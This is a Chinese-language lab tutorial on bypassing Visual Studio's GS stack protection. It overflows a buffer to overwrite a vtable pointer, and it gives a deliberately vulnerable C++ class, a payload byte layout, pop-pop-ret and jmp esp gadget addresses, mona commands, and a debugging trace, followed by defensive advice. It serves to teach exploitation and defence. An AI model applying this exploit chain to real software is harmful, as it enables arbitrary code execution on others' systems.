图解利用虚函数过GS保护
字数 2133 2025-08-15 21:31:13
利用虚函数绕过GS保护的技术分析
一、GS保护机制概述
GS保护是微软在Visual Studio中引入的一种栈溢出保护机制,主要特点包括:
-
安全Cookie机制:
- 在所有函数调用前,向栈内压入一个随机数(称为canary或security cookie)
- 这个随机数位于EBP之前
- 系统在.data内存区域存放security cookie的副本
-
安全验证过程:
- 函数返回前调用
__security_check_cookie - 比较栈中的canary和.data中的副本
- 如果不一致,说明发生栈溢出,终止程序
- 函数返回前调用
-
突破思路:
- 在程序检查security cookie之前劫持程序流程
- 利用虚函数调用时机在安全检查之前的特点
二、虚函数机制分析
-
虚函数特点:
- 使用
virtual关键字修饰的成员函数 - 虚函数入口地址统一保存在虚表(vtable)中
- 使用
-
调用过程:
- 通过虚表指针(vptr)找到虚表
- 从虚表中取出函数入口地址进行调用
-
内存布局特点:
- 虚表指针地址和局部变量在内存中相邻
- 成员变量溢出可能覆盖虚表指针
三、利用虚函数绕过GS的实验环境
-
系统环境:
- 操作系统:Windows 7
- 编译器:Visual Studio 2015
- 编译选项:
- 打开GS保护
- 关闭DEP、ASLR、SafeSEH
- 修改基址为0x41400000(避免00截断)
-
关键编译设置:
- 项目属性→C/C++→代码生成→安全检查→启用安全检查(GS)
- 链接器→高级→随机基址→否
- 链接器→高级→数据执行保护(DEP)→否
- 链接器→高级→映像具有安全异常处理程序→否
四、漏洞代码分析
class Vir {
public:
void test(char* str) {
char buf[0x100]; // 局部变量buf
strcpy(buf, str); // 存在栈溢出漏洞
printf("buf:%d\n%s\n", strlen(buf), buf);
this->virfun(); // 调用虚函数
}
virtual void virfun() {
printf("I am virtual function\n");
}
};
int main() {
Vir v;
v.test("\x53\x13\x40\x41" // ppt指令序列地址
"\x90\x90\x90\x90\x90\x90\x90\x90\xaf\x10\x40\x41" // jmpesp地址
"\x90\x90\x90\x90\x90\x90\x90\x90" // 滑轨
// ... shellcode和填充数据
"\x38\x21\x40\x41"); // 原始参数地址
return 0;
}
五、利用过程详解
1. 计算偏移量
-
手动计算:
- 虚表指针地址:0x0018ff34
- 局部变量buf地址:0x0018fe24
- 偏移量:0x0018ff34 - 0x0018fe24 = 0x110 (272字节)
-
使用Immunity Debugger计算:
!mona pc 300 # 生成300字节测试字符串 !mona po 0x316A4130 # 计算偏移量
2. 攻击思路
-
覆盖虚表指针:
- 通过buf溢出覆盖虚表指针
- 将虚表指针指向原始参数地址(0x41402138)
-
跳转流程:
- 虚表指针→原始参数地址(伪虚表)
- 原始参数前4字节作为虚函数地址(PPT指令序列)
- 执行PPT指令后跳转到buf地址
- 再次执行PPT指令后跳转到jmpesp
- 通过jmpesp跳回shellcode执行
3. 关键跳板地址
-
PPT指令序列:
- 使用
pop pop ret指令序列 - 搜索方法:
!mona seh - 选择标准:不涉及ebp/esp操作的指令
- 示例地址:0x41401353
- 使用
-
JMP ESP地址:
- 搜索方法:
!mona jmp -r esp - 示例地址:0x414010af
- 搜索方法:
4. Payload结构
| 偏移 | 内容 | 说明 |
|---|---|---|
| 0x00 | \x53\x13\x40\x41 | PPT指令序列地址 |
| 0x04 | 8字节NOP | 填充 |
| 0x0C | \xaf\x10\x40\x41 | JMP ESP地址 |
| 0x10 | 8字节NOP | 滑轨 |
| 0x18 | Shellcode | 实际执行的代码 |
| ... | NOP填充 | 保证覆盖完整 |
| 最后4字节 | \x38\x21\x40\x41 | 原始参数地址 |
六、调试过程关键点
-
初始状态:
- 虚表指针(0x0018FF34)被覆盖为原始参数地址(0x41402138)
- 原始参数前4字节为PPT指令序列地址(0x41401353)
-
第一次跳转:
- 执行
call virfun时,实际调用0x41401353(PPT) - 调用后ESP=0x0018FE1C(返回地址入栈)
- 执行
-
PPT执行:
pop ecx; pop ecx; ret- 执行后ESP=0x0018FE24
- RET跳转到0x0018FE24处的PPT地址
-
第二次PPT:
- 再次执行PPT指令
- 跳转到0x0018FE30处的JMP ESP地址
-
最终跳转:
- 执行JMP ESP跳转到0x0018FE34
- 开始执行NOP滑轨和shellcode
七、替代方案分析
-
直接覆盖虚表指针为局部变量地址:
- 地址形式:\x24\xfe\x18\x00
- 虽然strcpy存在00截断,但高位本来就是00
- 可以成功覆盖
-
简化跳转流程的可能性:
- 部分资料未提及二次PPT和JMP ESP
- 实际调试发现需要完整跳转链
- 可能与环境配置或编译器优化有关
八、防御建议
-
组合使用安全机制:
- 同时启用GS、DEP、ASLR、SafeSEH
- 避免单独依赖某一项保护
-
代码层面防御:
- 使用安全字符串函数替代strcpy
- 对输入进行长度检查
-
编译器设置:
- 启用所有安全编译选项
- 使用最新版本的编译器
九、总结
利用虚函数绕过GS保护的关键在于:
- 精确计算偏移覆盖虚表指针
- 构造包含多级跳转的payload
- 利用虚函数调用在安全检查之前的时机
- 通过PPT和JMP ESP等跳板完成复杂跳转
这种技术展示了即使有GS保护,通过精心构造的利用链仍然可能实现代码执行,强调了多层防御的必要性。